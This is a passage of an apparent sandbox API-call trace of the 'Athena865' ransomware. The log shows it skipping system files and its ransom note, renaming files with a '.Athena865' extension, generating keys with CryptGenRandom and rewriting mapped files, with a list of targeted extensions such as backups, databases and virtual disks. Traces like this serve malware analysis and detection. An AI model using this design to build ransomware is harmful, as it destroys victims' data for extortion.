(lpString1="sqloledb.dll", lpString2="temp") returned -1 [0119.225] lstrcmpiW (lpString1="sqloledb.dll", lpString2="pagefile.sys") returned 1 [0119.225] lstrcmpiW (lpString1="sqloledb.dll", lpString2="boot") returned 1 [0119.225] lstrcmpiW (lpString1="sqloledb.dll", lpString2="ids.txt") returned 1 [0119.225] lstrcmpiW (lpString1="sqloledb.dll", lpString2="ntuser.dat") returned 1 [0119.225] lstrcmpiW (lpString1="sqloledb.dll", lpString2="perflogs") returned 1 [0119.225] lstrcmpiW (lpString1="sqloledb.dll", lpString2="MSBuild") returned 1 [0119.225] lstrlenW (lpString="sqloledb.dll") returned 12 [0119.225] lstrcpyW (in: lpString1=0x241e8a0, lpString2="sqloledb.dll" | out: lpString1="sqloledb.dll") returned="sqloledb.dll" [0119.225] lstrlenW (lpString="sqloledb.dll") returned 12 [0119.225] lstrlenW (lpString="Athena865") returned 9 [0119.225] lstrcmpiW (lpString1="oledb.dll", lpString2="Athena865") returned 1 [0119.225] lstrlenW (lpString=".dll") returned 4 [0119.225] lstrcmpiW (lpString1="sqloledb.dll", lpString2=".dll") returned 1 [0119.225] lstrlenW (lpString=".lnk") returned 4 [0119.225] lstrcmpiW (lpString1="sqloledb.dll", lpString2=".lnk") returned 1 [0119.225] lstrlenW (lpString=".ini") returned 4 [0119.225] lstrcmpiW (lpString1="sqloledb.dll", lpString2=".ini") returned 1 [0119.225] lstrlenW (lpString=".sys") returned 4 [0119.225] lstrcmpiW (lpString1="sqloledb.dll", lpString2=".sys") returned 1 [0119.226] lstrlenW (lpString="sqloledb.dll") returned 12 [0119.226] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll.Athena865") returned 66 [0119.226] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll.athena865"), dwFlags=0x1) returned 1 [0119.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.227] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1212416) returned 1 [0119.227] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.227] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0119.227] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.227] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.228] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.228] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.228] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x128300, lpName=0x0) returned 0x154 [0119.229] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x128300) returned 0x2d50000 [0119.269] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.270] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.270] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.270] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0119.280] CloseHandle (hObject=0x154) returned 1 [0119.280] CloseHandle (hObject=0x17c) returned 1 [0119.280] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0119.280] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.280] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.285] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0119.285] lstrcmpiW (lpString1="sqloledb.rll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.285] lstrcmpiW (lpString1="sqloledb.rll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.285] lstrcmpiW (lpString1="sqloledb.rll", lpString2=".") returned 1 [0119.285] lstrcmpiW (lpString1="sqloledb.rll", lpString2="..") returned 1 [0119.285] lstrcmpiW (lpString1="sqloledb.rll", lpString2="windows") returned -1 [0119.285] lstrcmpiW (lpString1="sqloledb.rll", lpString2="bootmgr") returned 1 [0119.286] lstrcmpiW (lpString1="sqloledb.rll", lpString2="temp") returned -1 [0119.286] lstrcmpiW (lpString1="sqloledb.rll", lpString2="pagefile.sys") returned 1 [0119.286] lstrcmpiW (lpString1="sqloledb.rll", lpString2="boot") returned 1 [0119.286] lstrcmpiW (lpString1="sqloledb.rll", lpString2="ids.txt") returned 1 [0119.286] lstrcmpiW (lpString1="sqloledb.rll", lpString2="ntuser.dat") returned 1 [0119.286] lstrcmpiW (lpString1="sqloledb.rll", lpString2="perflogs") returned 1 [0119.286] lstrcmpiW (lpString1="sqloledb.rll", lpString2="MSBuild") returned 1 [0119.286] lstrlenW (lpString="sqloledb.rll") returned 12 [0119.286] lstrcpyW (in: lpString1=0x241e8a0, lpString2="sqloledb.rll" | out: lpString1="sqloledb.rll") returned="sqloledb.rll" [0119.286] lstrlenW (lpString="sqloledb.rll") returned 12 [0119.286] lstrlenW (lpString="Athena865") returned 9 [0119.286] lstrcmpiW (lpString1="oledb.rll", lpString2="Athena865") returned 1 [0119.286] lstrlenW (lpString=".dll") returned 4 [0119.286] lstrcmpiW (lpString1="sqloledb.rll", lpString2=".dll") returned 1 [0119.286] lstrlenW (lpString=".lnk") returned 4 [0119.286] lstrcmpiW (lpString1="sqloledb.rll", lpString2=".lnk") returned 1 [0119.286] lstrlenW (lpString=".ini") returned 4 [0119.286] lstrcmpiW (lpString1="sqloledb.rll", lpString2=".ini") returned 1 [0119.286] lstrlenW (lpString=".sys") returned 4 [0119.286] lstrcmpiW (lpString1="sqloledb.rll", lpString2=".sys") returned 1 [0119.286] lstrlenW (lpString="sqloledb.rll") returned 12 [0119.286] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll.Athena865") returned 66 [0119.286] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll.athena865"), dwFlags=0x1) returned 1 [0119.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.289] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16384) returned 1 [0119.289] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.289] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0119.289] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.289] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.290] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.290] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.290] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4300, lpName=0x0) returned 0x154 [0119.292] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4300) returned 0x100000 [0119.293] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.293] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.293] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.293] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.294] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.294] CloseHandle (hObject=0x154) returned 1 [0119.294] CloseHandle (hObject=0x17c) returned 1 [0119.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0119.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.295] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0119.295] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.295] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.295] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2=".") returned 1 [0119.295] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="..") returned 1 [0119.295] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="windows") returned -1 [0119.295] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="bootmgr") returned 1 [0119.295] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="temp") returned -1 [0119.295] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="pagefile.sys") returned 1 [0119.295] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="boot") returned 1 [0119.295] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="ids.txt") returned 1 [0119.295] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="ntuser.dat") returned 1 [0119.295] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="perflogs") returned 1 [0119.295] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="MSBuild") returned 1 [0119.295] lstrlenW (lpString="sqlxmlx.dll") returned 11 [0119.295] lstrcpyW (in: lpString1=0x241e8a0, lpString2="sqlxmlx.dll" | out: lpString1="sqlxmlx.dll") returned="sqlxmlx.dll" [0119.295] lstrlenW (lpString="sqlxmlx.dll") returned 11 [0119.295] lstrlenW (lpString="Athena865") returned 9 [0119.296] lstrcmpiW (lpString1="lxmlx.dll", lpString2="Athena865") returned 1 [0119.296] lstrlenW (lpString=".dll") returned 4 [0119.296] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2=".dll") returned 1 [0119.296] lstrlenW (lpString=".lnk") returned 4 [0119.296] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2=".lnk") returned 1 [0119.296] lstrlenW (lpString=".ini") returned 4 [0119.296] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2=".ini") returned 1 [0119.296] lstrlenW (lpString=".sys") returned 4 [0119.296] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2=".sys") returned 1 [0119.296] lstrlenW (lpString="sqlxmlx.dll") returned 11 [0119.296] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll.Athena865") returned 65 [0119.296] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll.athena865"), dwFlags=0x1) returned 1 [0119.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.297] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=364544) returned 1 [0119.297] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.297] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0119.297] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.297] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.298] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.298] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.298] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x59300, lpName=0x0) returned 0x154 [0119.299] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x59300) returned 0x2d50000 [0119.316] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.316] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.316] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.317] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.317] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.317] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.317] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.317] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.317] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0119.320] CloseHandle (hObject=0x154) returned 1 [0119.320] CloseHandle (hObject=0x17c) returned 1 [0119.320] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0119.320] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.321] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.323] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0119.323] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.324] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.324] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2=".") returned 1 [0119.324] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="..") returned 1 [0119.324] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="windows") returned -1 [0119.324] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="bootmgr") returned 1 [0119.324] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="temp") returned -1 [0119.324] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="pagefile.sys") returned 1 [0119.324] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="boot") returned 1 [0119.324] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="ids.txt") returned 1 [0119.324] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="ntuser.dat") returned 1 [0119.324] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="perflogs") returned 1 [0119.324] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="MSBuild") returned 1 [0119.324] lstrlenW (lpString="sqlxmlx.rll") returned 11 [0119.324] lstrcpyW (in: lpString1=0x241e8a0, lpString2="sqlxmlx.rll" | out: lpString1="sqlxmlx.rll") returned="sqlxmlx.rll" [0119.324] lstrlenW (lpString="sqlxmlx.rll") returned 11 [0119.324] lstrlenW (lpString="Athena865") returned 9 [0119.324] lstrcmpiW (lpString1="lxmlx.rll", lpString2="Athena865") returned 1 [0119.324] lstrlenW (lpString=".dll") returned 4 [0119.324] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2=".dll") returned 1 [0119.324] lstrlenW (lpString=".lnk") returned 4 [0119.324] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2=".lnk") returned 1 [0119.324] lstrlenW (lpString=".ini") returned 4 [0119.324] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2=".ini") returned 1 [0119.324] lstrlenW (lpString=".sys") returned 4 [0119.324] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2=".sys") returned 1 [0119.324] lstrlenW (lpString="sqlxmlx.rll") returned 11 [0119.324] lstrlenW (lpString="bak") returned 3 [0119.324] lstrcmpiW (lpString1="rll", lpString2="bak") returned 1 [0119.324] lstrlenW (lpString="ba_") returned 3 [0119.324] lstrcmpiW (lpString1="rll", lpString2="ba_") returned 1 [0119.325] lstrlenW (lpString="dbb") returned 3 [0119.325] lstrcmpiW (lpString1="rll", lpString2="dbb") returned 1 [0119.325] lstrlenW (lpString="vmdk") returned 4 [0119.325] lstrcmpiW (lpString1=".rll", lpString2="vmdk") returned -1 [0119.325] lstrlenW (lpString="rar") returned 3 [0119.325] lstrcmpiW (lpString1="rll", lpString2="rar") returned 1 [0119.325] lstrlenW (lpString="zip") returned 3 [0119.325] lstrcmpiW (lpString1="rll", lpString2="zip") returned -1 [0119.325] lstrlenW (lpString="tgz") returned 3 [0119.325] lstrcmpiW (lpString1="rll", lpString2="tgz") returned -1 [0119.325] lstrlenW (lpString="vbox") returned 4 [0119.325] lstrcmpiW (lpString1=".rll", lpString2="vbox") returned -1 [0119.325] lstrlenW (lpString="vdi") returned 3 [0119.325] lstrcmpiW (lpString1="rll", lpString2="vdi") returned -1 [0119.325] lstrlenW (lpString="vhd") returned 3 [0119.325] lstrcmpiW (lpString1="rll", lpString2="vhd") returned -1 [0119.325] lstrlenW (lpString="vhdx") returned 4 [0119.325] lstrcmpiW (lpString1=".rll", lpString2="vhdx") returned -1 [0119.325] lstrlenW (lpString="avhd") returned 4 [0119.325] lstrcmpiW (lpString1=".rll", lpString2="avhd") returned -1 [0119.325] lstrlenW (lpString="db") returned 2 [0119.325] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0119.325] lstrlenW (lpString="db2") returned 3 [0119.325] lstrcmpiW (lpString1="rll", lpString2="db2") returned 1 [0119.325] lstrlenW (lpString="db3") returned 3 [0119.325] lstrcmpiW (lpString1="rll", lpString2="db3") returned 1 [0119.325] lstrlenW (lpString="dbf") returned 3 [0119.325] lstrcmpiW (lpString1="rll", lpString2="dbf") returned 1 [0119.325] lstrlenW (lpString="mdf") returned 3 [0119.325] lstrcmpiW (lpString1="rll", lpString2="mdf") returned 1 [0119.325] lstrlenW (lpString="mdb") returned 3 [0119.326] lstrcmpiW (lpString1="rll", lpString2="mdb") returned 1 [0119.326] lstrlenW (lpString="sql") returned 3 [0119.326] lstrcmpiW (lpString1="rll", lpString2="sql") returned -1 [0119.326] lstrlenW (lpString="sqlite") returned 6 [0119.326] lstrcmpiW (lpString1="lx.rll", lpString2="sqlite") returned -1 [0119.326] lstrlenW (lpString="sqlite3") returned 7 [0119.326] lstrcmpiW (lpString1="mlx.rll", lpString2="sqlite3") returned -1 [0119.326] lstrlenW (lpString="sqlitedb") returned 8 [0119.326] lstrcmpiW (lpString1="xmlx.rll", lpString2="sqlitedb") returned 1 [0119.326] lstrlenW (lpString="xml") returned 3 [0119.326] lstrcmpiW (lpString1="rll", lpString2="xml") returned -1 [0119.326] lstrlenW (lpString="$er") returned 3 [0119.326] lstrcmpiW (lpString1="rll", lpString2="$er") returned 1 [0119.326] lstrlenW (lpString="4dd") returned 3 [0119.326] lstrcmpiW (lpString1="rll", lpString2="4dd") returned 1 [0119.326] lstrlenW (lpString="4dl") returned 3 [0119.326] lstrcmpiW (lpString1="rll", lpString2="4dl") returned 1 [0119.326] lstrlenW (lpString="^^^") returned 3 [0119.326] lstrcmpiW (lpString1="rll", lpString2="^^^") returned 1 [0119.326] lstrlenW (lpString="abs") returned 3 [0119.326] lstrcmpiW (lpString1="rll", lpString2="abs") returned 1 [0119.326] lstrlenW (lpString="abx") returned 3 [0119.326] lstrcmpiW (lpString1="rll", lpString2="abx") returned 1 [0119.326] lstrlenW (lpString="accdb") returned 5 [0119.326] lstrcmpiW (lpString1="x.rll", lpString2="accdb") returned 1 [0119.326] lstrlenW (lpString="accdc") returned 5 [0119.326] lstrcmpiW (lpString1="x.rll", lpString2="accdc") returned 1 [0119.327] lstrlenW (lpString="accde") returned 5 [0119.327] lstrcmpiW (lpString1="x.rll", lpString2="accde") returned 1 [0119.327] lstrlenW (lpString="accdr") returned 5 [0119.327] lstrcmpiW (lpString1="x.rll", lpString2="accdr") returned 1 [0119.327] lstrlenW (lpString="accdt") returned 5 [0119.327] lstrcmpiW (lpString1="x.rll", lpString2="accdt") returned 1 [0119.327] lstrlenW (lpString="accdw") returned 5 [0119.327] lstrcmpiW (lpString1="x.rll", lpString2="accdw") returned 1 [0119.327] lstrlenW (lpString="accft") returned 5 [0119.327] lstrcmpiW (lpString1="x.rll", lpString2="accft") returned 1 [0119.327] lstrlenW (lpString="adb") returned 3 [0119.327] lstrcmpiW (lpString1="rll", lpString2="adb") returned 1 [0119.327] lstrlenW (lpString="adb") returned 3 [0119.327] lstrcmpiW (lpString1="rll", lpString2="adb") returned 1 [0119.327] lstrlenW (lpString="ade") returned 3 [0119.327] lstrcmpiW (lpString1="rll", lpString2="ade") returned 1 [0119.327] lstrlenW (lpString="adf") returned 3 [0119.327] lstrcmpiW (lpString1="rll", lpString2="adf") returned 1 [0119.327] lstrlenW (lpString="adn") returned 3 [0119.327] lstrcmpiW (lpString1="rll", lpString2="adn") returned 1 [0119.327] lstrlenW (lpString="adp") returned 3 [0119.327] lstrcmpiW (lpString1="rll", lpString2="adp") returned 1 [0119.327] lstrlenW (lpString="alf") returned 3 [0119.327] lstrcmpiW (lpString1="rll", lpString2="alf") returned 1 [0119.327] lstrlenW (lpString="ask") returned 3 [0119.327] lstrcmpiW (lpString1="rll", lpString2="ask") returned 1 [0119.327] lstrlenW (lpString="btr") returned 3 [0119.327] lstrcmpiW (lpString1="rll", lpString2="btr") returned 1 [0119.327] lstrlenW (lpString="cat") returned 3 [0119.327] lstrcmpiW (lpString1="rll", lpString2="cat") returned 1 [0119.328] lstrlenW (lpString="cdb") returned 3 [0119.328] lstrcmpiW (lpString1="rll", lpString2="cdb") returned 1 [0119.328] lstrlenW (lpString="ckp") returned 3 [0119.328] lstrcmpiW (lpString1="rll", lpString2="ckp") returned 1 [0119.328] 